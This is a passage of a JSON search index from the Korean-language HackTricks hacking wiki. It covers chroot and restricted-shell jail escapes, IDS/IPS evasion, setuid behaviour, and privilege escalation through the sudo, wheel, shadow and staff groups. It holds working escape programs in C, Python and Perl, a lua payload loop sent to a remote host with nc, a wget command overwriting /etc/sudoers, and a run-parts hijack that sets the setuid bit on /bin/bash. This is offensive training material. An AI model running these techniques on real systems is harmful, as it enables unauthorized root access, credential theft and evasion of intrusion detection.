소프트웨어에 필요하기 때문 일 수 있습니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Weaponizing Distroless » Via Existing binaries","id":"1756","title":"Via Existing binaries"},"1757":{"body":"Reading time: 7 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » Jails에서 탈출하기","id":"1757","title":"Jails에서 탈출하기"},"1758":{"body":"\\"Shell\\" 속성이 있는 이진 파일을 실행할 수 있는지 https://gtfobins.github.io/ 에서 검색하세요.","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » GTFOBins","id":"1758","title":"GTFOBins"},"1759":{"body":"wikipedia 에서: chroot 메커니즘은 특권 있는 ( root ) 사용자에 의한 의도적인 변조를 방어하기 위한 것이 아닙니다 . 대부분의 시스템에서 chroot 컨텍스트는 제대로 쌓이지 않으며, 충분한 권한을 가진 chrooted 프로그램은 탈출하기 위해 두 번째 chroot를 수행할 수 있습니다 . 보통 이는 탈출하기 위해 chroot 내부에서 root가 되어야 함을 의미합니다. tip 도구 chw00t 는 다음 시나리오를 악용하고 chroot에서 탈출하기 위해 만들어졌습니다.","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » Chroot 탈출","id":"1759","title":"Chroot 탈출"},"176":{"body":"패킷을 조각화하여 전송합니다. IDS/IPS가 이를 재조립할 수 없는 경우, 최종 호스트에 도달하게 됩니다. Nmap 옵션: -f","breadcrumbs":"Pentesting Network » IDS and IPS Evasion » 조각화된 패킷","id":"176","title":"조각화된 패킷"},"1760":{"body":"warning chroot 내부에서 root 인 경우 다른 chroot를 생성하여 탈출할 수 있습니다 . 이는 2개의 chroot가 (Linux에서) 공존할 수 없기 때문에, 폴더를 생성한 후 그 새로운 폴더에서 새로운 chroot를 생성하면 당신이 그 외부에 있게 되어 , 이제 새로운 chroot 외부에 있게 되고 따라서 FS에 있게 됩니다. 이는 보통 chroot가 작업 디렉토리를 지정된 위치로 이동하지 않기 때문에 발생하므로, chroot를 생성할 수 있지만 그 외부에 있게 됩니다. 보통 chroot 감옥 안에서는 chroot 이진 파일을 찾을 수 없지만, 이진 파일을 컴파일, 업로드 및 실행할 수 있습니다 : C: break_chroot.c\\nc #include \\n#include \\n#include //gcc break_chroot.c -o break_chroot int main(void)\\n{\\nmkdir(\\"chroot-dir\\", 0755);\\nchroot(\\"chroot-dir\\");\\nfor(int i = 0; i < 1000; i++) {\\nchdir(\\"..\\");\\n}\\nchroot(\\".\\");\\nsystem(\\"/bin/bash\\");\\n} 파이썬\\npython #!/usr/bin/python\\nimport os\\nos.mkdir(\\"chroot-dir\\")\\nos.chroot(\\"chroot-dir\\")\\nfor i in range(1000):\\nos.chdir(\\"..\\")\\nos.chroot(\\".\\")\\nos.system(\\"/bin/bash\\") Perl\\nperl #!/usr/bin/perl\\nmkdir \\"chroot-dir\\";\\nchroot \\"chroot-dir\\";\\nforeach my $i (0..1000) {\\nchdir \\"..\\"\\n}\\nchroot \\".\\";\\nsystem(\\"/bin/bash\\");","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » Root + CWD","id":"1760","title":"Root + CWD"},"1761":{"body":"warning 이것은 이전 사례와 유사하지만, 이 경우 공격자가 현재 디렉토리에 대한 파일 설명자를 저장 하고 새 폴더에 chroot를 생성 합니다. 마지막으로, 그는 chroot 외부 에서 그 FD 에 접근 할 수 있으므로 이를 접근하고 탈출 합니다. C: break_chroot.c\\nc #include \\n#include \\n#include //gcc break_chroot.c -o break_chroot int main(void)\\n{\\nmkdir(\\"tmpdir\\", 0755);\\ndir_fd = open(\\".\\", O_RDONLY);\\nif(chroot(\\"tmpdir\\")){\\nperror(\\"chroot\\");\\n}\\nfchdir(dir_fd);\\nclose(dir_fd);\\nfor(x = 0; x < 1000; x++) chdir(\\"..\\");\\nchroot(\\".\\");\\n}","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » Root + Saved fd","id":"1761","title":"Root + Saved fd"},"1762":{"body":"warning FD는 Unix Domain Sockets를 통해 전달될 수 있으므로: 자식 프로세스 생성 (fork) 부모와 자식이 통신할 수 있도록 UDS 생성 다른 폴더에서 자식 프로세스에서 chroot 실행 부모 프로세스에서 새로운 자식 프로세스 chroot 외부의 폴더 FD 생성 UDS를 사용하여 자식 프로세스에 그 FD 전달 자식 프로세스가 그 FD로 chdir하고, chroot 외부에 있기 때문에 감옥에서 탈출하게 됨","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » Root + Fork + UDS (Unix Domain Sockets)","id":"1762","title":"Root + Fork + UDS (Unix Domain Sockets)"},"1763":{"body":"warning 루트 장치 (/)를 chroot 내부의 디렉토리에 마운트 그 디렉토리로 chroot 이는 Linux에서 가능합니다","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » Root + Mount","id":"1763","title":"Root + Mount"},"1764":{"body":"warning procfs를 chroot 내부의 디렉토리에 마운트 (아직 마운트되지 않았다면) 다른 root/cwd 항목이 있는 pid를 찾기, 예: /proc/1/root 그 항목으로 chroot","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » Root + /proc","id":"1764","title":"Root + /proc"},"1765":{"body":"warning Fork (자식 프로세스)를 생성하고 FS의 더 깊은 폴더로 chroot 및 CD 부모 프로세스에서 자식 프로세스가 있는 폴더를 자식의 chroot 이전 폴더로 이동 이 자식 프로세스는 chroot 외부에 있게 됨","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » Root(?) + Fork","id":"1765","title":"Root(?) + Fork"},"1766":{"body":"warning 예전에는 사용자가 자신의 프로세스에서 자신을 디버깅할 수 있었지만... 이제는 기본적으로 불가능 어쨌든 가능하다면, 프로세스에 ptrace를 사용하고 그 안에서 shellcode를 실행할 수 있음 ( 이 예제 참조 ).","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » ptrace","id":"1766","title":"ptrace"},"1767":{"body":"","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » Bash Jails","id":"1767","title":"Bash Jails"},"1768":{"body":"감옥에 대한 정보 얻기: bash echo $SHELL\\necho $PATH\\nenv\\nexport\\npwd","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » Enumeration","id":"1768","title":"Enumeration"},"1769":{"body":"PATH 환경 변수를 수정할 수 있는지 확인하세요. bash echo $PATH #See the path of the executables that you can use\\nPATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path\\necho /home/* #List directory","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » PATH 수정","id":"1769","title":"PATH 수정"},"177":{"body":"센서는 일반적으로 성능상의 이유로 체크섬을 계산하지 않습니다. 따라서 공격자는 센서에 의해 해석되지만 최종 호스트에 의해 거부되는 패킷을 보낼 수 있습니다. 예: RST 플래그와 유효하지 않은 체크섬을 가진 패킷을 보내면, IPS/IDS는 이 패킷이 연결을 종료할 것이라고 생각할 수 있지만, 최종 호스트는 체크섬이 유효하지 않기 때문에 패킷을 폐기합니다.","breadcrumbs":"Pentesting Network » IDS and IPS Evasion » 유효하지 않은 체크섬","id":"177","title":"유효하지 않은 체크섬"},"1770":{"body":"bash :set shell=/bin/sh\\n:shell","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » vim 사용하기","id":"1770","title":"vim 사용하기"},"1771":{"body":"check if you can create an executable file with /bin/bash as content bash red /bin/bash\\n> w wx/path #Write /bin/bash in a writable and executable path","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » 스크립트 생성","id":"1771","title":"스크립트 생성"},"1772":{"body":"ssh를 통해 접근하는 경우, bash 셸을 실행하기 위해 이 트릭을 사용할 수 있습니다: bash ssh -t user@ bash # Get directly an interactive shell\\nssh user@ -t \\"bash --noprofile -i\\"\\nssh user@ -t \\"() { :; }; sh -i \\"","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » SSH를 통한 bash 얻기","id":"1772","title":"SSH를 통한 bash 얻기"},"1773":{"body":"bash declare -n PATH; export PATH=/bin;bash -i BASH_CMDS[shell]=/bin/bash;shell -i","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » 선언","id":"1773","title":"선언"},"1774":{"body":"예를 들어 sudoers 파일을 덮어쓸 수 있습니다. bash wget http://127.0.0.1:8080/sudoers -O /etc/sudoers","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » Wget","id":"1774","title":"Wget"},"1775":{"body":"https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/ [https://pen-testing.sans.org/blog/2012/0 b 6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells) [https://gtfobins.github.io](https://gtfobins.github.io/**](https/gtfobins.github.io) 다음 페이지도 흥미로울 수 있습니다: Bypass Linux Restrictions","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » 다른 트릭","id":"1775","title":"다른 트릭"},"1776":{"body":"다음 페이지에서 파이썬 감옥에서 탈출하는 트릭: Bypass Python sandboxes","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » Python 감옥","id":"1776","title":"Python 감옥"},"1777":{"body":"이 페이지에서는 lua 내부에서 접근할 수 있는 전역 함수를 찾을 수 있습니다: https://www.gammon.com.au/scripts/doc.php?general=lua_base 명령 실행과 함께 Eval: bash load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))() 라이브러리의 함수를 점 없이 호출하는 몇 가지 트릭 : bash print(string.char(0x41, 0x42))\\nprint(rawget(string, \\"char\\")(0x41, 0x42)) 라이브러리의 함수 나열: bash for k,v in pairs(string) do print(k,v) end 다른 lua 환경에서 이전의 원 라이너를 실행할 때마다 함수의 순서가 변경됩니다 . 따라서 특정 함수를 실행해야 하는 경우, 다양한 lua 환경을 로드하고 le library의 첫 번째 함수를 호출하여 무차별 공격을 수행할 수 있습니다: bash #In this scenario you could BF the victim that is generating a new lua environment\\n#for every interaction with the following line and when you are lucky\\n#the char function is going to be executed\\nfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end #This attack from a CTF can be used to try to chain the function execute from \\"os\\" library\\n#and \\"char\\" from string library, and the use both to execute a command\\nfor i in seq 1000; do echo \\"for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end\\" | nc 10.10.10.10 10006 | grep -A5 \\"Code: char\\"; done 인터랙티브 lua 셸 얻기 : 제한된 lua 셸 안에 있다면 다음을 호출하여 새로운 lua 셸(그리고 희망적으로 무제한)을 얻을 수 있습니다: bash debug.debug()","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » Lua 감옥","id":"1777","title":"Lua 감옥"},"1778":{"body":"https://www.youtube.com/watch?v=UO618TeyCWo (슬라이드: https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf ) tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Escaping from Jails » References","id":"1778","title":"References"},"1779":{"body":"Reading time: 7 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » euid, ruid, suid » euid, ruid, suid","id":"1779","title":"euid, ruid, suid"},"178":{"body":"센서는 IP 및 TCP 헤더 내에서 특정 플래그와 옵션이 설정된 패킷을 무시할 수 있지만, 목적지 호스트는 수신 시 패킷을 수용합니다.","breadcrumbs":"Pentesting Network » IDS and IPS Evasion » 비정상적인 IP 및 TCP 옵션","id":"178","title":"비정상적인 IP 및 TCP 옵션"},"1780":{"body":"ruid : 실제 사용자 ID 는 프로세스를 시작한 사용자를 나타냅니다. euid : 유효 사용자 ID 로 알려져 있으며, 시스템이 프로세스 권한을 확인하는 데 사용하는 사용자 신원을 나타냅니다. 일반적으로 euid는 ruid와 일치하지만, SetUID 바이너리 실행과 같은 경우에는 euid가 파일 소유자의 신원을 취하여 특정 작업 권한을 부여합니다. suid : 이 저장된 사용자 ID 는 높은 권한의 프로세스(일반적으로 root로 실행)가 특정 작업을 수행하기 위해 일시적으로 권한을 포기해야 할 때 중요하며, 이후 다시 초기 상승된 상태를 회복합니다. 중요 참고 사항 root로 실행되지 않는 프로세스는 현재 ruid, euid 또는 suid와 일치하도록 euid를 수정할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » euid, ruid, suid » 사용자 식별 변수","id":"1780","title":"사용자 식별 변수"},"1781":{"body":"setuid : 초기 가정과는 달리, setuid는 주로 ruid가 아닌 euid를 수정합니다. 특히, 권한이 있는 프로세스의 경우, 지정된 사용자(종종 root)와 함께 ruid, euid, suid를 정렬하여 이러한 ID를 강화합니다. 자세한 내용은 setuid man page 에서 확인할 수 있습니다. setreuid 및 setresuid : 이러한 함수는 ruid, euid, suid의 미세 조정을 허용합니다. 그러나 그 기능은 프로세스의 권한 수준에 따라 달라집니다. 비-root 프로세스의 경우, 수정은 현재 ruid, euid, suid의 값으로 제한됩니다. 반면, root 프로세스나 CAP_SETUID 권한이 있는 프로세스는 이러한 ID에 임의의 값을 할당할 수 있습니다. 더 많은 정보는 setresuid man page 와 setreuid man page 에서 확인할 수 있습니다. 이러한 기능은 보안 메커니즘이 아니라 프로그램이 다른 사용자의 신원을 채택하기 위해 유효 사용자 ID를 변경하는 것과 같은 의도된 작업 흐름을 촉진하기 위해 설계되었습니다. 특히, setuid는 root로의 권한 상승을 위한 일반적인 방법일 수 있지만(모든 ID를 root로 정렬하므로), 이러한 함수 간의 차이를 이해하고 다양한 시나리오에서 사용자 ID 동작을 조작하는 것이 중요합니다.","breadcrumbs":"Linux Privilege Escalation » euid, ruid, suid » set*uid 함수 이해하기","id":"1781","title":"set*uid 함수 이해하기"},"1782":{"body":"execve 시스템 호출 기능 : execve는 첫 번째 인수에 의해 결정된 프로그램을 시작합니다. 두 개의 배열 인수, 인수용 argv와 환경용 envp를 사용합니다. 동작 : 호출자의 메모리 공간을 유지하지만 스택, 힙 및 데이터 세그먼트를 새로 고칩니다. 프로그램의 코드는 새 프로그램으로 대체됩니다. 사용자 ID 보존 : ruid, euid 및 추가 그룹 ID는 변경되지 않습니다. 새 프로그램에 SetUID 비트가 설정된 경우 euid에 미세한 변화가 있을 수 있습니다. 실행 후 suid는 euid에서 업데이트됩니다. 문서 : 자세한 정보는 execve man page 에서 확인할 수 있습니다. system 함수 기능 : execve와 달리 system은 fork를 사용하여 자식 프로세스를 생성하고 해당 자식 프로세스 내에서 명령을 실행합니다. 명령 실행 : sh를 통해 명령을 실행하며, execl(\\"/bin/sh\\", \\"sh\\", \\"-c\\", command, (char *) NULL);를 사용합니다. 동작 : execl은 execve의 한 형태로, 새로운 자식 프로세스의 맥락에서 유사하게 작동합니다. 문서 : 추가 정보는 system man page 에서 확인할 수 있습니다. SUID와 함께하는 bash 및 sh의 동작 bash : euid와 ruid의 처리 방식에 영향을 미치는 -p 옵션이 있습니다. -p가 없으면, bash는 euid가 ruid와 다를 경우 euid를 ruid로 설정합니다. -p가 있으면, 초기 euid가 보존됩니다. 더 많은 세부정보는 bash man page 에서 확인할 수 있습니다. sh : bash의 -p와 유사한 메커니즘이 없습니다. 사용자 ID와 관련된 동작은 명시적으로 언급되지 않으며, -i 옵션 하에서 euid와 ruid의 동등성을 강조합니다. 추가 정보는 sh man page 에서 확인할 수 있습니다. 이러한 메커니즘은 작동 방식이 다르며, 프로그램을 실행하고 전환하는 데 다양한 옵션을 제공하며, 사용자 ID가 관리되고 보존되는 방식에 특정한 뉘앙스가 있습니다.","breadcrumbs":"Linux Privilege Escalation » euid, ruid, suid » 리눅스에서 프로그램 실행 메커니즘","id":"1782","title":"리눅스에서 프로그램 실행 메커니즘"},"1783":{"body":"예제는 https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail에서 가져왔으며, 추가 정보를 확인하세요. 사례 1: system과 함께 setuid 사용 목표 : system과 bash를 sh로 조합했을 때 setuid의 효과를 이해합니다. C 코드 : c #define _GNU_SOURCE\\n#include \\n#include int main(void) {\\nsetuid(1000);\\nsystem(\\"id\\");\\nreturn 0;\\n} 컴파일 및 권한: bash oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a;\\noxdf@hacky$ chmod 4755 /mnt/nfsshare/a bash bash-4.2$ $ ./a\\nuid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 분석: ruid와 euid는 각각 99 (nobody)와 1000 (frank)로 시작합니다. setuid는 둘 다 1000으로 맞춥니다. system은 sh에서 bash로의 심볼릭 링크로 인해 /bin/bash -c id를 실행합니다. bash는 -p 없이 euid를 ruid와 일치시키므로 둘 다 99 (nobody)가 됩니다. 케이스 2: system과 함께 setreuid 사용 C 코드 : c #define _GNU_SOURCE\\n#include \\n#include int main(void) {\\nsetreuid(1000, 1000);\\nsystem(\\"id\\");\\nreturn 0;\\n} 컴파일 및 권한: bash oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b 실행 및 결과: bash bash-4.2$ $ ./b\\nuid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 분석: setreuid는 ruid와 euid를 모두 1000으로 설정합니다. system은 bash를 호출하며, 사용자 ID의 동등성으로 인해 이를 유지하여 사실상 frank로 작동합니다. 사례 3: execve와 함께 setuid 사용 목표: setuid와 execve 간의 상호작용 탐색. bash #define _GNU_SOURCE\\n#include \\n#include int main(void) {\\nsetuid(1000);\\nexecve(\\"/usr/bin/id\\", NULL, NULL);\\nreturn 0;\\n} 실행 및 결과: bash bash-4.2$ $ ./c\\nuid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 분석: ruid는 99로 유지되지만, euid는 setuid의 효과에 따라 1000으로 설정됩니다. C 코드 예제 2 (Bash 호출): bash #define _GNU_SOURCE\\n#include \\n#include int main(void) {\\nsetuid(1000);\\nexecve(\\"/bin/bash\\", NULL, NULL);\\nreturn 0;\\n} 실행 및 결과: bash bash-4.2$ $ ./d\\nbash-4.2$ $ id\\nuid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 분석: euid가 setuid에 의해 1000으로 설정되었지만, bash는 -p가 없기 때문에 ruid(99)로 euid를 재설정합니다. C 코드 예제 3 (bash -p 사용): bash #define _GNU_SOURCE\\n#include \\n#include int main(void) {\\nchar *const paramList[10] = {\\"/bin/bash\\", \\"-p\\", NULL};\\nsetuid(1000);\\nexecve(paramList[0], paramList, NULL);\\nreturn 0;\\n} 실행 및 결과: bash bash-4.2$ $ ./e\\nbash-4.2$ $ id\\nuid=99(nobody) gid=99(nobody) euid=100","breadcrumbs":"Linux Privilege Escalation » euid, ruid, suid » 실행에서 사용자 ID 동작 테스트","id":"1783","title":"실행에서 사용자 ID 동작 테스트"},"1784":{"body":"https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » euid, ruid, suid » References","id":"1784","title":"References"},"1785":{"body":"Reading time: 10 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Interesting Groups - Linux Privesc » 흥미로운 그룹 - 리눅스 권한 상승","id":"1785","title":"흥미로운 그룹 - 리눅스 권한 상승"},"1786":{"body":"","breadcrumbs":"Linux Privilege Escalation » Interesting Groups - Linux Privesc » Sudo/Admin 그룹","id":"1786","title":"Sudo/Admin 그룹"},"1787":{"body":"때때로 , 기본적으로 (또는 일부 소프트웨어가 필요하기 때문에) /etc/sudoers 파일 안에서 이러한 줄을 찾을 수 있습니다: bash # Allow members of group sudo to execute any command\\n%sudo\\tALL=(ALL:ALL) ALL # Allow members of group admin to execute any command\\n%admin ALL=(ALL:ALL) ALL 이것은 sudo 또는 admin 그룹에 속한 모든 사용자가 sudo로 무엇이든 실행할 수 있음을 의미합니다 . 이 경우, root가 되려면 다음을 실행하면 됩니다 : sudo su","breadcrumbs":"Linux Privilege Escalation » Interesting Groups - Linux Privesc » PE - 방법 1","id":"1787","title":"PE - 방법 1"},"1788":{"body":"모든 suid 바이너리를 찾아보고 Pkexec 바이너리가 있는지 확인하세요: bash find / -perm -4000 2>/dev/null 이진 파일 pkexec가 SUID 이진 파일 이고 sudo 또는 admin 그룹에 속한다면, pkexec를 사용하여 sudo로 이진 파일을 실행할 수 있습니다. 이는 일반적으로 이러한 그룹이 polkit 정책 내에 있기 때문입니다. 이 정책은 기본적으로 어떤 그룹이 pkexec를 사용할 수 있는지를 식별합니다. 다음을 사용하여 확인하세요: bash cat /etc/polkit-1/localauthority.conf.d/* 여기에서 어떤 그룹이 pkexec 를 실행할 수 있는지 확인할 수 있으며, 일부 리눅스 배포판에서는 sudo 및 admin 그룹이 기본적으로 나타납니다. 루트가 되려면 다음을 실행할 수 있습니다 : bash pkexec \\"/bin/sh\\" #You will be prompted for your user password pkexec 를 실행하려고 시도했는데 오류 가 발생하면: bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie\\n==== AUTHENTICATION FAILED ===\\nError executing command as another user: Not authorized 권한이 없어서가 아니라 GUI 없이 연결되어 있지 않기 때문입니다 . 이 문제에 대한 해결 방법은 여기에서 확인할 수 있습니다: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903 . 2개의 서로 다른 ssh 세션 이 필요합니다: session1 echo $$ #Step1: Get current PID\\npkexec \\"/bin/bash\\" #Step 3, execute pkexec\\n#Step 5, if correctly authenticate, you will have a root session session2 pkttyagent --process #Step 2, attach pkttyagent to session1\\n#Step 4, you will be asked in this session to authenticate to pkexec","breadcrumbs":"Linux Privilege Escalation » Interesting Groups - Linux Privesc » PE - Method 2","id":"1788","title":"PE - Method 2"},"1789":{"body":"때때로 , 기본적으로 /etc/sudoers 파일 안에서 이 줄을 찾을 수 있습니다: %wheel\\tALL=(ALL:ALL) ALL 이것은 wheel 그룹에 속한 모든 사용자가 sudo로 모든 것을 실행할 수 있음을 의미합니다 . 이 경우, root가 되려면 다음을 실행하면 됩니다 : sudo su","breadcrumbs":"Linux Privilege Escalation » Interesting Groups - Linux Privesc » Wheel Group","id":"1789","title":"Wheel Group"},"179":{"body":"패킷을 조각화할 때 패킷 간에 어떤 종류의 중첩이 존재할 수 있습니다(예: 패킷 2의 처음 8바이트가 패킷 1의 마지막 8바이트와 중첩되고, 패킷 2의 마지막 8바이트가 패킷 3의 처음 8바이트와 중첩됨). 그런 다음 IDS/IPS가 이를 최종 호스트와 다르게 재조립하면 다른 패킷으로 해석될 수 있습니다. 또는 동일한 오프셋을 가진 2개의 패킷이 도착하고 호스트가 어떤 것을 선택해야 할 수도 있습니다. BSD : 작은 _오프셋_을 가진 패킷을 선호합니다. 동일한 오프셋을 가진 패킷의 경우 첫 번째 것을 선택합니다. Linux : BSD와 유사하지만 동일한 오프셋을 가진 마지막 패킷을 선호합니다. First (Windows): 도착하는 첫 번째 값, 유지되는 값. Last (cisco): 도착하는 마지막 값, 유지되는 값.","breadcrumbs":"Pentesting Network » IDS and IPS Evasion » 중첩","id":"179","title":"중첩"},"1790":{"body":"shadow 그룹의 사용자들은 /etc/shadow 파일을 읽을 수 있습니다: -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow So, read the file and try to crack some hashes .","breadcrumbs":"Linux Privilege Escalation » Interesting Groups - Linux Privesc » Shadow Group","id":"1790","title":"Shadow Group"},"1791":{"body":"staff : 사용자가 루트 권한 없이 시스템에 로컬 수정을 추가할 수 있도록 허용합니다 (/usr/local). /usr/local/bin의 실행 파일은 모든 사용자의 PATH 변수에 포함되어 있으며, 동일한 이름의 /bin 및 /usr/bin의 실행 파일을 \\"덮어쓸\\" 수 있습니다. 모니터링/보안과 더 관련된 \\"adm\\" 그룹과 비교하십시오. [source] debian 배포판에서 $PATH 변수는 /usr/local/가 우선적으로 실행된다는 것을 보여줍니다. bash $ echo $PATH\\n/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games # echo $PATH\\n/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin /usr/local에 있는 일부 프로그램을 탈취할 수 있다면, 루트 권한을 쉽게 얻을 수 있습니다. run-parts 프로그램을 탈취하는 것은 루트 권한을 얻는 쉬운 방법입니다. 대부분의 프로그램은 (crontab, ssh 로그인 시) run-parts를 실행합니다. bash $ cat /etc/crontab | grep run-parts\\n17 * * * * root cd / && run-parts --report /etc/cron.hourly\\n25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }\\n47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }\\n52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } 또는 새로운 ssh 세션 로그인 시. bash $ pspy64\\n2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]\\n2024/02/01 22:02:10 CMD: UID=0 PID=17883 | sshd: [accepted]\\n2024/02/01 22:02:10 CMD: UID=0 PID=17884 | sshd: [accepted]\\n2024/02/01 22:02:14 CMD: UID=0 PID=17886 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new\\n2024/02/01 22:02:14 CMD: UID=0 PID=17887 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new\\n2024/02/01 22:02:14 CMD: UID=0 PID=17888 | run-parts --lsbsysinit /etc/update-motd.d\\n2024/02/01 22:02:14 CMD: UID=0 PID=17889 | uname -rnsom\\n2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv]\\n2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash 익스플로잇 bash # 0x1 Add a run-parts script in /usr/local/bin/\\n$ vi /usr/local/bin/run-parts\\n#! /bin/bash\\nchmod 4777 /bin/bash # 0x2 Don\'t forget to add a execute permission\\n$ chmod +x /usr/local/bin/run-parts # 0x3 start a new ssh sesstion to trigger the run-parts program # 0x4 check premission for `u+s`\\n$ ls -la /bin/bash\\n-rwsrwxrwx 1 root root 1099016 May 15 2017 /bin/bash # 0x5 root it\\n$ /bin/bash -p","breadcrumbs":"Linux Privilege Escalation » Interesting Groups - Linux 